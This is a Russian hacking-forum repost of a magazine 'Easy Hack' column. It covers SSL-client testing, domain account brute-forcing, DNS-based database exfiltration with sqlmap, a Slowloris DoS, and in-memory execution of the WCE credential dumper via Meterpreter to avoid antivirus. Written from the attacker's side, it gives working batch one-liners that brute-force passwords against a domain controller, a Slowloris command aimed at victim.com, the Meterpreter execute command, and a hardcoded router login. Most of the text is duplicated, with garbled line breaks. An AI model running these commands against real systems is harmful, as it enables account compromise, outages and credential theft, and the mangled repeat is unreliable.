- Регистрация
- 23.05.18
- Сообщения
- 825
- Онлайн
- 63д 17ч 54м
- Сделки
- 37
- Нарушения
- 0 / 0
Проанализировать безопасность SSL клиентской стороны
Решение: SSL лежит в основе безопасности и в интернете, и в корпоративных сетях. В последние годы на него обратили пристальное внимание как исследователи, так и черные шапки. Мучают и сам протокол, и его фактические реализации. Обсуждения дыр и проблем появляются чуть ли не каждый месяц.
Не будем забывать, что SSL — клиент-серверная технология, а потому клиентское ПО и его настройка здесь играет не меньшую роль, чем серверное. В качестве примера можно взять SSL версии 2.0. У этого протокола есть целый пучок уязвимостей, позволяющих проводить атаки man-in-the-middle. И к тому же этот протокол все еще поддерживается старыми и/или некорректно настроенными веб-серверами (не часто, но встречается систематически). Но даже если мы найдем такой сервак, то провести атаку нам вряд ли удастся, ведь и клиентская часть должна поддерживать данный протокол. А все хоть сколько-то актуальные браузеры давно запретили использование SSL v2.0. Или, например, BEAST-атака. Чисто теоретически клиенты могли бы защититься от нее, если бы настроили свой браузер на подключение к серверу только с использованием RC4. Но я бы не поднял данный вопрос, если бы здесь все было так просто
Тестирование SSL для Chrome
Когда мы имеем дело с клиентами, одна из главных целей — провести фишинг или MITM-атаку, то есть создать поддельный сервер. А так как это SSL, где сервер аутентифицируется для клиента, используя сертификат (цепочку), то нам необходимо создать поддельный сертификат или еще как-то обхитрить клиентское ПО. И здесь начинается интересное. Во-первых, мы имеем как минимум парочку уязвимостей в некорректной обработке сертификатов, что позволило бы нам создать поддельный сертификат. Во-вторых, всевозможные тонкости с проблемами у удостоверяющих центров, отозванными или просроченными сертификатами. Там на самом деле много интересного.
Да, большинство веб-браузеров сконфигурены адекватно, обновляются, и такие проблемы им не страшны. Но не стоит забывать про многочисленное ПО, построенное на других платформах, относительно старое или не обновляемое. Например, приложение на Java использует совсем другие настойки SSL, чем вся ОС в целом. Или, например, всевозможные мобильные приложения. О! и всевозможные клиенты к другим протоколам типа FTPS, POP3S. Я, в общем, веду к тому, что если даже с веб-браузерами и все хорошо, то в остальных местах все может быть хуже. Но сегодня мы не будем рассматривать баги. Их я постараюсь описать в следующих номерах на конкретных примерах. Сегодня — затравка и ответ на вопрос «как протестировать клиентское ПО?».
По сути, все просто. Добрые люди из Gremwell недавно реализовали тулзу sslcaudit, позволяющую тестировать SSL-клиенты. Выложенная ими версия пока что больше похожа на бету, так как из функционала только позволяет проверять всякие трики с сертификатами. Определение поддерживаемых видов шифрования и багов, с ними связанных, обещают внедрить в следующей версии. Но и данного функционала нам достаточно.
Установка из гитхаба:
git clone -b release_1_0 abbbe/sslcaudit
sudo apt-get install python-m2crypto
Также необходим модуль для Python M2Crypto. Далее запускаем серверную часть:
./sslcaudit
Потом коннектимся клиентом на порт 8443. Дальше все зависит от того, что конкретно за ПО и что необходимо проверить. Потому отправляю пока к мануалу.
Если же требуется проверить какой-то клиент, работающий по HTTPS, то можно воспользоваться сайтом https://ssltest.offenseindepth.com. Там все быстро и лаконично.
Для того чтобы узнать поддерживаемое клиентским ПО шифрование (чего пока не делает sslcaudit), нам потребуется открыть SSL-порт и поснифать Wireshark’ом. Простейший пример — биндим порт, используя ncat, и указываем ему, что подключение будет происходить по SSL.
ncat -l -p 4343 --ssl
По поддерживаемым видам шифрования также можно сделать вывод о потенциальной поддержке SSL v2.0.
Определяем поддерживаемые клиентом виды шифрования
Пробрутфорсить учетки в домене
Решение: Давай представим, что мы атакуем какую-то корпоративку. Но у нас нет никакого доступа к ней, только единый сегмент. А для того чтобы, не имея ничего, хоть чуть-чуть поднять свои права, у нас есть два основных пути: атаковать либо какие-то сервисы, либо клиентов. Последнее, конечно, во многом проще. Способов для этого — масса, и одним из самых классических при проведении пентестов является перебор. Несмотря на свою прямоту и древесность, он достаточно эффективен.
Но когда мы имеем дело с доменом, кроме того что перебирать пароли, нам требуется получить список логинов. Это, конечно, затрудняет дело, но на нашей стороне есть приличный плюс — логины в домене очень часто выдаются на основании каких-то достаточно простых правил. Классический пример: фамилия_инициалы. То есть нам нужно выявить хотя бы пару логинов, и мы уже достаточно точно сможем понять правила их формирования. Далее мы, подключив все возможные внешние источники, можем сформировать список логинов.
Логины можно получить, например, поснифав SMB-трафик в корпоративке или собрав метаданные из офисных документов и PDF’ок. К тому же есть еще корпоративная электронная почта и всякая разная социальная инженерия. Если же нам совсем повезло и контроллер домена хреново настроен, то мы можем подключиться к нему по NULL session, используя Cain, а далее, запустив перебор по SID’ам (см. рисунок), получить список логинов.
Итак, первое дело сделано. Второе — это перебрать пароль. Но здесь опять возникает небольшая трудность: и в винде, и в самом домене есть несколько парольных политик. Увидеть их можно, используя команду (конечно, если ты уже в домене):
net accounts /domain
На рисунке, например, после восьми попыток ввода пароля аккаунт блочится на пять минут.
При переборе нам желательно не доходить до этого ограничения. Но чтобы его выяснить, вероятно, придется кого-то и залочить.
Далее — сам перебор. Из-за указанных ограничений нам нужно выбрать несколько самых возможных паролей и начать перебирать для каждого пользователя.
Сделать это можно с помощью различных тулз, но можно обратиться и к нативным возможностям. Пример от commandlinekunfu-тера LaNMaSteR53:
@FOR /F %n in (names.txt) DO @FOR /F %p in (passwords.txt) DO net use \\DC01 /user:mydomain\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && net use /delete \\DC01\IPC$ > NUL
Здесь он перебирает учетки по двум файлам с паролями и логинами за счет подключения к IPC$ у контроллера домена. В случае успеха выводится учетка, а подключенная шара удаляется.
Перебираем SID для получения имен пользователей
Все просто. Но LaNMaSteR53 поделился еще одной интересной находкой. Он рассказал, что как-то видел ситуацию, когда в домене было около 1000 учеток, которые были активны, но под которыми еще никто ни разу не логинился. То есть они должны были бы быть с дефолтным паролем. К сожалению, чтобы выискать такие учетки, нам потребуется Cain и возможность подключиться к контроллеру домена. Но продолжим…
В такой ситуации LaNMaSteR53 предложил логичную мысль — как в прошлом примере, перебирать логины, но пароли при этом не повторять. То есть мы получим такой список для перебора:
Login1assword1
Login1assword2
Login1assword3
Login2assword4
Login2assword5
Login2assword6
В примере LaNMaSteR’а количество попыток было ограничено тремя. Значит, можно было бы попробовать 2000 возможных вариантов дефолтного пароля и при этом не заблочить ни одной учетки. Ну и для фана посмотрим на еще одно кун-фу, которое реализует этот перебор:
cmd /vn /c "set /a usercount=0 >NUL & for /F %u in (users.txt) do Set
/a passcount=0 >NUL & set /a lpass=!usercount!*4 >NUL & set /a upass=!usercount!*4+4
>NUL & @(for /F %p in (passwords.txt) do @(IF !passcount! GEQ !lpass! (IF !passcount!
LSS !upass! (net use \\DC01 /user:mydomain\%u %p 1>NUL 2>&1 && @echo This works
%u/%p && net use /delete \\DC01\IPC$ > NUL))) & set /a passcount=!passcount!+1 >NUL)
& set /a usercount=!usercount!+1 >NUL"
Умора!
login: Alphanetworks
password: wrgg19_c_dlwbr_dir300
Пример настроек парольных политик в домене
Слить БД через DNS
Решение: Давай порадуемся: наконец-то это произошло! Совместилась хардкорная техника DNS-туннелинга и опаснейшая уязвимость — SQL-инъекция. Гремучая штука получила свою жизнь в новой версии sqlmap.
SQL-инъекции не зря находятся на первом месте в списке OWASP. И если кому-то и казалось, что это «прошлый век» и «дырка хреновых кодеров», то ситуация c корпорацией Sony и атаками Anonymous’ов доказала обратное — или, наоборот, подтвердила эти слова?
Конечно, особенно пугают SQL-инъекции потому, что бизнес многих компаний висит на сайтах и работающих с ними СУБД и несанкционированный доступ в них страшнее проникновения в корпоративную сеть самой компании. А тут добавляются особенные виды постэксплуатации, позволяющие вывалиться из БД в ОС, — ууу… К тому же, ИМХО, проблема есть еще и в недоиспользовании встроенных средств безопасности в СУБД, из-за незнания или упрощений от разработчиков — но это уже лирика.
Второй компонент — DNS tunneling — также не суперновинка прошлого года, а техника, которой уже с десяток лет. Правда, здесь нужно отметить, что безопасность не стоит на месте, и если раньше после успешной атаки можно было просто «забиндить» порт и коннектиться на него потом, то теперь приходится не по-детски извращаться из-за повсеместного внедрения файрволов, разрешающих трафик только с определенных портов на определенные. Кстати, если кто-то не в курсе, что такое DNS-туннелинг, то я поясню. Это техника, в основе которой лежит то, что данные мы передаем (инкапсулируя их) через DNS-запросы. Главнейший плюс применения техники заключается в том, что есть такая вещь, как DNS-форвардинг. Поясню на примере. Есть, предположим, сервер, который находится в DMZ и отлично зафильтрован файрволами. Но для взаимодействия с другими серверами корпоративной сети (или по привычке?) на нем настроен в качестве основного корпоративный DNS-сервер. Для этого взаимодействия, конечно, на файрволах пропилены маленькие дырочки (а чего бояться, корпоративный же DNS?). Так вот, если мы захотим с таким сервером в DMZ общаться, то будем использовать DNS-туннелинг. Те данные, что мы хотим получить от сервера, сервер будет инкапсулировать в DNS-запрос, посылаемый на наш домен в интернете. Но сервер не будет подключаться к нам напрямую, а передаст запрос на корпоративный DNS, и тот уже сам подключится к нам, запрашивая какой-то поддомен и передавая таким образом информацию.
Кстати, поделюсь опытом. Описанная схема очень часто встречалась мне при аудите интернет-банкингов (а я их провел прилично) российских банков. И почти везде был включен DNS-форвардинг, что позволило бы получить удаленный шелл в случае их взлома (в обход строжайших правил фильтрации трафика).
Вот так мы сливаем данные через SQL-инъекцию, используя DNS
А самой классной реализацией DNS-шелл я могу назвать разработку от Алексея Синцова. Реально шикарная вещь — быстрая, стабильная и поддерживает работу с несколькими клиентами. Если тебе нужна для благих целей, можешь у него попросить.
Вообще, DNS — модная штука. Здесь стоит отметить и недавнюю разработку Corelan’а — шелл-код download&execute через DNS, которую он сделал специально для Metasploit’а. Жаль, что пока Meterpreter не наградили такой возможностью… Но вернемся к теме. Наконец-то кому-то пришла в голову такая чудесная мысль — использовать DNS для слива данных из СУБД через SQL-инъекции. Ведь это же так логично! Во всяком случае, DNS-туннелинг куда проще в своей основе, чем извращения при blind’ах, построенные на сравнении тайминга или контента.
На самом деле, ребятам, создающим sqlmap, стоит сказать большое спасибо. Но внутреннего внедрения я касаться не буду, так как оно само по себе типовое и не особо занимательно. Если кто-то заинтересовался, подробности тут.
Сравнение скорости работы sqlmap при использовании различных методов
Проверить отказоустойчивость веб-сервера
Решение: DoS, он же «отказ в обслуживании», — двоякая вещь: его и боятся, и «не уважают». Вот нашел ты переполняшку в каком-то сервисе, но по тем или иным причинам (например, помешали DEP и ASLR) дойти до «remote code execution» не можешь — только DoS. И расстроенно думаешь «фу-фу-фу, всего лишь какой-то дос». А в то же время даже СМИ трубят о страшном биче интернета — DoS/DDoS-атаках. Что от них никому не спастись… Хотя здесь все понятно — отношение зависит от целей. DoS = неработоспособность сервиса = убытки бизнесу.
Но еще интересней, когда DoS возможен не из-за проблем конкретного ПО, конкретной реализации, а из-за «уязвимостей» протокола. И еще круче, когда для того, чтобы завалить сервис, тебе не требуется 100 000 ботов, а нужен всего лишь один хост.
И как, наверное, ясно из задачи, мы рассмотрим протокол HTTP. Тема вообще широкая, мы ее как-то уже касались, но я постараюсь за несколько номеров расписать основные атаки. Опять-таки — будем держаться в тренде. К тому же HTTP-протокол прост и показателен, и его «проблемы» можно перенести и на другие протоколы.
Сегодня — Slowloris. Эту тулзу реализовал Роберт Хансен (Robert «RSnake» Hansen) еще в 2009 году, но она до сих пор достаточно актуальна. Идея атаки несложна — проинициализировать множество HTTP-запросов к веб-серверу, но не посылать их целиком, а поддерживать как можно дольше в подвешенном состоянии, посылая частями. Здесь расчет идет на то, что веб-сервер может обработать HTTP-запрос к нему, только когда тот полностью получен. Таким образом, если мы будем начинать запросы и дальше нескончаемо посылать по чуть-чуть заголовки запроса, то при большом количестве таких запросов мы сможем занять «все» ресурсы веб-сервера. Все — это я, конечно, загнул. В данном случае имеется в виду, что мы пытаемся дойти до определенного лимита. Например, до ограничения количества одновременных соединений. Хотя для этой атаки наиболее уязвимы веб-серверы, построенные на использовании потоков для обработки HTTP-запросов. Мы можем дойти до ограничения на количество потоков, которое обычно должно присутствовать. Таким образом, уязвимыми, например, являются веб-серверы Apache.
Еще интересный плюс Slowloris — ее относительная незаметность. Во-первых, потому, что создается достаточно мало трафика. Во-вторых, потому, что опять же в логи входящие запросы записываются только тогда, когда будут полностью получены. То есть мы начинаем атаку, доходим до лимита, на веб-сервер не попасть, а в логах — ничего.
Вторым плюсом можно еще выделить то, что после прекращения атаки веб-сервер приходит в себя достаточно быстро. Таким образом, эту Slowloris можно использовать, когда требуется заманить админа на атакуемый сервер. Например, в корпоративной сети. Досим какой-нибудь корпоративный прокси-сервер, пользователи жалуются админу, админ ползет по RDP на сервер проверить, что да как, а мы его спуфим и из RDP достаем админскую учетку.
Если говорить о практике, то там все просто. Slowloris, хотя изначально и была написана на Perl’е и требует несколько CPAN-модулей, теперь имеет несколько вариантов на разных языках. Думаю, важно отметить, что из-за реализации работы с сокетами в Windows Slowloris работать на нем не будет.
1. Ставим необходимые модули для Perl:
perl -MCPAN -e 'install IO::Socket::INET'
perl -MCPAN -e 'install IO::Socket::SSL'
2. Атакуем:
perl slowloris.pl -dns victim.com
С точки зрения возможностей, здесь важно отметить, что можно использовать в качестве метода GET (по умолчанию), HEAD, POST, а атаку можно проводить и на HTTPS.
Для большей эффективности можно настроить тайм-ауты, но, ИМХО, тулза и без этого хорошо работает.
Slowloris в деле — defcon-russia.ru недоступен
Обновить BackTrack 5
Решение: Небольшой трик. В последнее время Offensive Security зачастили с обновлениями дистрибутива BackTrack. Но качать и переустанавливать ничего не требуется. Вспомни — BackTrack теперь в своей основе Ubuntu, и все, что нам требуется для поддержания актуальности хакерского софта, — почаще использовать apt-get. Ну и конкретный мануал по обновлению BackTrack’а до последней версии 5 R2. Дело это займет примерно полчаса.
Спрятать ПО от антивирусов, используя Meterpreter
Решение: Этот Easy Hack получается каким-то радостным, и причиной тому продвинутые хак-техники, которые попадают к нам в руки. Позволь порадовать тебя еще раз одной прекрасной новостью — новой возможностью, которая была добавлена в Metasploit. А точнее в супер-пупер-шелл Meterpreter. Хотел бы я ее описать одним словом, но нужного не нашел.
Если кратко и по существу, то теперь Meterpreter получил уникальную возможность — загружать жертве в память и запускать из нее произвольные exe’шнички.
О, как же давно этого не хватало!
Ведь часто была такая ситуация, что находишь уязвимый сервис на какой-то тачке в корпоративной сети, запускаешь эксплойт, он срабатывает «как надо» и мы получаем meterpreter-шелл на ней. Казалось бы — все отлично! Домен ведь такая штука — сломал где-то в одном месте и, используя комбинации всяких глубоких «уязвимостей» (а-ля SMBRelay, Pass the Hash), можешь шаг за шагом дойти и до админства на контроллере домена. Но это только кажется…
Нет, конечно, это правда, но чаще всего на практике у нас обнаруживаются подводные камни.
Во-первых, хотя Meterpreter и крутая штука, в которую встроены классные модули (типа incognito) и всевозможные скрипты, позволяющие слить всю инфу со скомпрометированной тачки, но местами есть пробелы. Например, отсутствует модуль, который умеет выдирать из памяти NTLM-хешики от доменных учеток, под которыми запущены какие-то процессы. Хотя это умеет WCE. Или, например, новомодная штука mimikatz. Пароли в открытом виде — шикарно. Но ее, к сожалению, еще нет в списке модулей Meterpreter.
Конечно, решение этих трудностей простое — закачать требуемый exe’шничек куда-нибудь жертве и запустить его. И тут появляется «во-вторых». Вторая постоянная проблема — антивирусы. Ведь большинство хакерских тулз отлично палятся антивирусами (в отличие от процесса эксплуатации дырявого ПО и закачки meterpreter’а). Да, можно воспользоваться криптором и спрятать тулзу от глаз антивиря, но кто любит лишний геморрой?
К тому же одна из главных фич meterpreter’а — его незаметность для forensic’а. Все происходит в оперативной памяти. Почти никаких следов не остается. А закачивая тулзу на диск, мы оставляем четкие следы.
То есть новая фича meterpreter’а — сверхполезна.
Но давай перейдем к практике. Для того чтобы запустить нашу тулзу, например уже упомянутый WCE, нам требуется выполнить простейшую команду в meterpreter-шелле:
execute -H -m -d calc.exe -f wce.exe -a "-o creds.txt"
Где execute — указываем, что нам требуется запустить что-то;
.
В итоге наша тулза работает прямо из памяти. А если посмотреть список процессов, то можно увидеть только изначальный «dummy»-процесс.
Вот и всё. Успешных ресерчев и познаний нового!
Решение: SSL лежит в основе безопасности и в интернете, и в корпоративных сетях. В последние годы на него обратили пристальное внимание как исследователи, так и черные шапки. Мучают и сам протокол, и его фактические реализации. Обсуждения дыр и проблем появляются чуть ли не каждый месяц.
Не будем забывать, что SSL — клиент-серверная технология, а потому клиентское ПО и его настройка здесь играет не меньшую роль, чем серверное. В качестве примера можно взять SSL версии 2.0. У этого протокола есть целый пучок уязвимостей, позволяющих проводить атаки man-in-the-middle. И к тому же этот протокол все еще поддерживается старыми и/или некорректно настроенными веб-серверами (не часто, но встречается систематически). Но даже если мы найдем такой сервак, то провести атаку нам вряд ли удастся, ведь и клиентская часть должна поддерживать данный протокол. А все хоть сколько-то актуальные браузеры давно запретили использование SSL v2.0. Или, например, BEAST-атака. Чисто теоретически клиенты могли бы защититься от нее, если бы настроили свой браузер на подключение к серверу только с использованием RC4. Но я бы не поднял данный вопрос, если бы здесь все было так просто
Тестирование SSL для Chrome
Когда мы имеем дело с клиентами, одна из главных целей — провести фишинг или MITM-атаку, то есть создать поддельный сервер. А так как это SSL, где сервер аутентифицируется для клиента, используя сертификат (цепочку), то нам необходимо создать поддельный сертификат или еще как-то обхитрить клиентское ПО. И здесь начинается интересное. Во-первых, мы имеем как минимум парочку уязвимостей в некорректной обработке сертификатов, что позволило бы нам создать поддельный сертификат. Во-вторых, всевозможные тонкости с проблемами у удостоверяющих центров, отозванными или просроченными сертификатами. Там на самом деле много интересного
.Да, большинство веб-браузеров сконфигурены адекватно, обновляются, и такие проблемы им не страшны. Но не стоит забывать про многочисленное ПО, построенное на других платформах, относительно старое или не обновляемое. Например, приложение на Java использует совсем другие настойки SSL, чем вся ОС в целом. Или, например, всевозможные мобильные приложения. О! и всевозможные клиенты к другим протоколам типа FTPS, POP3S. Я, в общем, веду к тому, что если даже с веб-браузерами и все хорошо, то в остальных местах все может быть хуже. Но сегодня мы не будем рассматривать баги. Их я постараюсь описать в следующих номерах на конкретных примерах. Сегодня — затравка и ответ на вопрос «как протестировать клиентское ПО?».
По сути, все просто. Добрые люди из Gremwell недавно реализовали тулзу sslcaudit, позволяющую тестировать SSL-клиенты. Выложенная ими версия пока что больше похожа на бету, так как из функционала только позволяет проверять всякие трики с сертификатами. Определение поддерживаемых видов шифрования и багов, с ними связанных, обещают внедрить в следующей версии. Но и данного функционала нам достаточно.
Установка из гитхаба:
git clone -b release_1_0 abbbe/sslcaudit
sudo apt-get install python-m2crypto
Также необходим модуль для Python M2Crypto. Далее запускаем серверную часть:
./sslcaudit
Потом коннектимся клиентом на порт 8443. Дальше все зависит от того, что конкретно за ПО и что необходимо проверить. Потому отправляю пока к мануалу.
Если же требуется проверить какой-то клиент, работающий по HTTPS, то можно воспользоваться сайтом https://ssltest.offenseindepth.com. Там все быстро и лаконично.
Для того чтобы узнать поддерживаемое клиентским ПО шифрование (чего пока не делает sslcaudit), нам потребуется открыть SSL-порт и поснифать Wireshark’ом. Простейший пример — биндим порт, используя ncat, и указываем ему, что подключение будет происходить по SSL.
ncat -l -p 4343 --ssl
По поддерживаемым видам шифрования также можно сделать вывод о потенциальной поддержке SSL v2.0.
Определяем поддерживаемые клиентом виды шифрования
Пробрутфорсить учетки в домене
Решение: Давай представим, что мы атакуем какую-то корпоративку. Но у нас нет никакого доступа к ней, только единый сегмент. А для того чтобы, не имея ничего, хоть чуть-чуть поднять свои права, у нас есть два основных пути: атаковать либо какие-то сервисы, либо клиентов. Последнее, конечно, во многом проще. Способов для этого — масса, и одним из самых классических при проведении пентестов является перебор. Несмотря на свою прямоту и древесность, он достаточно эффективен.
Но когда мы имеем дело с доменом, кроме того что перебирать пароли, нам требуется получить список логинов. Это, конечно, затрудняет дело, но на нашей стороне есть приличный плюс — логины в домене очень часто выдаются на основании каких-то достаточно простых правил. Классический пример: фамилия_инициалы. То есть нам нужно выявить хотя бы пару логинов, и мы уже достаточно точно сможем понять правила их формирования. Далее мы, подключив все возможные внешние источники, можем сформировать список логинов.
Логины можно получить, например, поснифав SMB-трафик в корпоративке или собрав метаданные из офисных документов и PDF’ок. К тому же есть еще корпоративная электронная почта и всякая разная социальная инженерия. Если же нам совсем повезло и контроллер домена хреново настроен, то мы можем подключиться к нему по NULL session, используя Cain, а далее, запустив перебор по SID’ам (см. рисунок), получить список логинов.
Итак, первое дело сделано. Второе — это перебрать пароль. Но здесь опять возникает небольшая трудность: и в винде, и в самом домене есть несколько парольных политик. Увидеть их можно, используя команду (конечно, если ты уже в домене):
net accounts /domain
На рисунке, например, после восьми попыток ввода пароля аккаунт блочится на пять минут.
При переборе нам желательно не доходить до этого ограничения. Но чтобы его выяснить, вероятно, придется кого-то и залочить
.Далее — сам перебор. Из-за указанных ограничений нам нужно выбрать несколько самых возможных паролей и начать перебирать для каждого пользователя.
Сделать это можно с помощью различных тулз, но можно обратиться и к нативным возможностям. Пример от commandlinekunfu-тера LaNMaSteR53:
@FOR /F %n in (names.txt) DO @FOR /F %p in (passwords.txt) DO net use \\DC01 /user:mydomain\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && net use /delete \\DC01\IPC$ > NUL
Здесь он перебирает учетки по двум файлам с паролями и логинами за счет подключения к IPC$ у контроллера домена. В случае успеха выводится учетка, а подключенная шара удаляется.
Перебираем SID для получения имен пользователей
Все просто. Но LaNMaSteR53 поделился еще одной интересной находкой. Он рассказал, что как-то видел ситуацию, когда в домене было около 1000 учеток, которые были активны, но под которыми еще никто ни разу не логинился. То есть они должны были бы быть с дефолтным паролем. К сожалению, чтобы выискать такие учетки, нам потребуется Cain и возможность подключиться к контроллеру домена. Но продолжим…
В такой ситуации LaNMaSteR53 предложил логичную мысль — как в прошлом примере, перебирать логины, но пароли при этом не повторять. То есть мы получим такой список для перебора:
Login1
assword1Login1
assword2Login1
assword3Login2
assword4Login2
assword5Login2
assword6В примере LaNMaSteR’а количество попыток было ограничено тремя. Значит, можно было бы попробовать 2000 возможных вариантов дефолтного пароля и при этом не заблочить ни одной учетки. Ну и для фана посмотрим на еще одно кун-фу, которое реализует этот перебор:
cmd /v
n /c "set /a usercount=0 >NUL & for /F %u in (users.txt) do Set/a passcount=0 >NUL & set /a lpass=!usercount!*4 >NUL & set /a upass=!usercount!*4+4
>NUL & @(for /F %p in (passwords.txt) do @(IF !passcount! GEQ !lpass! (IF !passcount!
LSS !upass! (net use \\DC01 /user:mydomain\%u %p 1>NUL 2>&1 && @echo This works
%u/%p && net use /delete \\DC01\IPC$ > NUL))) & set /a passcount=!passcount!+1 >NUL)
& set /a usercount=!usercount!+1 >NUL"
Умора!
login: Alphanetworks
password: wrgg19_c_dlwbr_dir300
Пример настроек парольных политик в домене
Слить БД через DNS
Решение: Давай порадуемся: наконец-то это произошло! Совместилась хардкорная техника DNS-туннелинга и опаснейшая уязвимость — SQL-инъекция. Гремучая штука получила свою жизнь в новой версии sqlmap.
SQL-инъекции не зря находятся на первом месте в списке OWASP. И если кому-то и казалось, что это «прошлый век» и «дырка хреновых кодеров», то ситуация c корпорацией Sony и атаками Anonymous’ов доказала обратное — или, наоборот, подтвердила эти слова?
Конечно, особенно пугают SQL-инъекции потому, что бизнес многих компаний висит на сайтах и работающих с ними СУБД и несанкционированный доступ в них страшнее проникновения в корпоративную сеть самой компании. А тут добавляются особенные виды постэксплуатации, позволяющие вывалиться из БД в ОС, — ууу… К тому же, ИМХО, проблема есть еще и в недоиспользовании встроенных средств безопасности в СУБД, из-за незнания или упрощений от разработчиков — но это уже лирика.
Второй компонент — DNS tunneling — также не суперновинка прошлого года, а техника, которой уже с десяток лет. Правда, здесь нужно отметить, что безопасность не стоит на месте, и если раньше после успешной атаки можно было просто «забиндить» порт и коннектиться на него потом, то теперь приходится не по-детски извращаться из-за повсеместного внедрения файрволов, разрешающих трафик только с определенных портов на определенные. Кстати, если кто-то не в курсе, что такое DNS-туннелинг, то я поясню. Это техника, в основе которой лежит то, что данные мы передаем (инкапсулируя их) через DNS-запросы. Главнейший плюс применения техники заключается в том, что есть такая вещь, как DNS-форвардинг. Поясню на примере. Есть, предположим, сервер, который находится в DMZ и отлично зафильтрован файрволами. Но для взаимодействия с другими серверами корпоративной сети (или по привычке?) на нем настроен в качестве основного корпоративный DNS-сервер. Для этого взаимодействия, конечно, на файрволах пропилены маленькие дырочки (а чего бояться, корпоративный же DNS?). Так вот, если мы захотим с таким сервером в DMZ общаться, то будем использовать DNS-туннелинг. Те данные, что мы хотим получить от сервера, сервер будет инкапсулировать в DNS-запрос, посылаемый на наш домен в интернете. Но сервер не будет подключаться к нам напрямую, а передаст запрос на корпоративный DNS, и тот уже сам подключится к нам, запрашивая какой-то поддомен и передавая таким образом информацию.
Кстати, поделюсь опытом. Описанная схема очень часто встречалась мне при аудите интернет-банкингов (а я их провел прилично) российских банков. И почти везде был включен DNS-форвардинг, что позволило бы получить удаленный шелл в случае их взлома (в обход строжайших правил фильтрации трафика).
Вот так мы сливаем данные через SQL-инъекцию, используя DNS
А самой классной реализацией DNS-шелл я могу назвать разработку от Алексея Синцова. Реально шикарная вещь — быстрая, стабильная и поддерживает работу с несколькими клиентами. Если тебе нужна для благих целей, можешь у него попросить
.Вообще, DNS — модная штука. Здесь стоит отметить и недавнюю разработку Corelan’а — шелл-код download&execute через DNS, которую он сделал специально для Metasploit’а. Жаль, что пока Meterpreter не наградили такой возможностью… Но вернемся к теме. Наконец-то кому-то пришла в голову такая чудесная мысль — использовать DNS для слива данных из СУБД через SQL-инъекции. Ведь это же так логично! Во всяком случае, DNS-туннелинг куда проще в своей основе, чем извращения при blind’ах, построенные на сравнении тайминга или контента.
На самом деле, ребятам, создающим sqlmap, стоит сказать большое спасибо. Но внутреннего внедрения я касаться не буду, так как оно само по себе типовое и не особо занимательно. Если кто-то заинтересовался, подробности тут.
Сравнение скорости работы sqlmap при использовании различных методов
Проверить отказоустойчивость веб-сервера
Решение: DoS, он же «отказ в обслуживании», — двоякая вещь: его и боятся, и «не уважают». Вот нашел ты переполняшку в каком-то сервисе, но по тем или иным причинам (например, помешали DEP и ASLR) дойти до «remote code execution» не можешь — только DoS. И расстроенно думаешь «фу-фу-фу, всего лишь какой-то дос». А в то же время даже СМИ трубят о страшном биче интернета — DoS/DDoS-атаках. Что от них никому не спастись… Хотя здесь все понятно — отношение зависит от целей. DoS = неработоспособность сервиса = убытки бизнесу.
Но еще интересней, когда DoS возможен не из-за проблем конкретного ПО, конкретной реализации, а из-за «уязвимостей» протокола. И еще круче, когда для того, чтобы завалить сервис, тебе не требуется 100 000 ботов, а нужен всего лишь один хост.
И как, наверное, ясно из задачи, мы рассмотрим протокол HTTP. Тема вообще широкая, мы ее как-то уже касались, но я постараюсь за несколько номеров расписать основные атаки. Опять-таки — будем держаться в тренде
. К тому же HTTP-протокол прост и показателен, и его «проблемы» можно перенести и на другие протоколы.Сегодня — Slowloris. Эту тулзу реализовал Роберт Хансен (Robert «RSnake» Hansen) еще в 2009 году, но она до сих пор достаточно актуальна. Идея атаки несложна — проинициализировать множество HTTP-запросов к веб-серверу, но не посылать их целиком, а поддерживать как можно дольше в подвешенном состоянии, посылая частями. Здесь расчет идет на то, что веб-сервер может обработать HTTP-запрос к нему, только когда тот полностью получен. Таким образом, если мы будем начинать запросы и дальше нескончаемо посылать по чуть-чуть заголовки запроса, то при большом количестве таких запросов мы сможем занять «все» ресурсы веб-сервера. Все — это я, конечно, загнул. В данном случае имеется в виду, что мы пытаемся дойти до определенного лимита. Например, до ограничения количества одновременных соединений. Хотя для этой атаки наиболее уязвимы веб-серверы, построенные на использовании потоков для обработки HTTP-запросов. Мы можем дойти до ограничения на количество потоков, которое обычно должно присутствовать. Таким образом, уязвимыми, например, являются веб-серверы Apache.
Еще интересный плюс Slowloris — ее относительная незаметность. Во-первых, потому, что создается достаточно мало трафика. Во-вторых, потому, что опять же в логи входящие запросы записываются только тогда, когда будут полностью получены. То есть мы начинаем атаку, доходим до лимита, на веб-сервер не попасть, а в логах — ничего.
Вторым плюсом можно еще выделить то, что после прекращения атаки веб-сервер приходит в себя достаточно быстро. Таким образом, эту Slowloris можно использовать, когда требуется заманить админа на атакуемый сервер. Например, в корпоративной сети. Досим какой-нибудь корпоративный прокси-сервер, пользователи жалуются админу, админ ползет по RDP на сервер проверить, что да как, а мы его спуфим и из RDP достаем админскую учетку
.Если говорить о практике, то там все просто. Slowloris, хотя изначально и была написана на Perl’е и требует несколько CPAN-модулей, теперь имеет несколько вариантов на разных языках. Думаю, важно отметить, что из-за реализации работы с сокетами в Windows Slowloris работать на нем не будет.
1. Ставим необходимые модули для Perl:
perl -MCPAN -e 'install IO::Socket::INET'
perl -MCPAN -e 'install IO::Socket::SSL'
2. Атакуем:
perl slowloris.pl -dns victim.com
С точки зрения возможностей, здесь важно отметить, что можно использовать в качестве метода GET (по умолчанию), HEAD, POST, а атаку можно проводить и на HTTPS.
Для большей эффективности можно настроить тайм-ауты, но, ИМХО, тулза и без этого хорошо работает.
Slowloris в деле — defcon-russia.ru недоступен
Обновить BackTrack 5
Решение: Небольшой трик. В последнее время Offensive Security зачастили с обновлениями дистрибутива BackTrack. Но качать и переустанавливать ничего не требуется. Вспомни — BackTrack теперь в своей основе Ubuntu, и все, что нам требуется для поддержания актуальности хакерского софта, — почаще использовать apt-get. Ну и конкретный мануал по обновлению BackTrack’а до последней версии 5 R2. Дело это займет примерно полчаса.
Спрятать ПО от антивирусов, используя Meterpreter
Решение: Этот Easy Hack получается каким-то радостным, и причиной тому продвинутые хак-техники, которые попадают к нам в руки. Позволь порадовать тебя еще раз одной прекрасной новостью — новой возможностью, которая была добавлена в Metasploit. А точнее в супер-пупер-шелл Meterpreter. Хотел бы я ее описать одним словом, но нужного не нашел
.Если кратко и по существу, то теперь Meterpreter получил уникальную возможность — загружать жертве в память и запускать из нее произвольные exe’шнички.
О, как же давно этого не хватало!
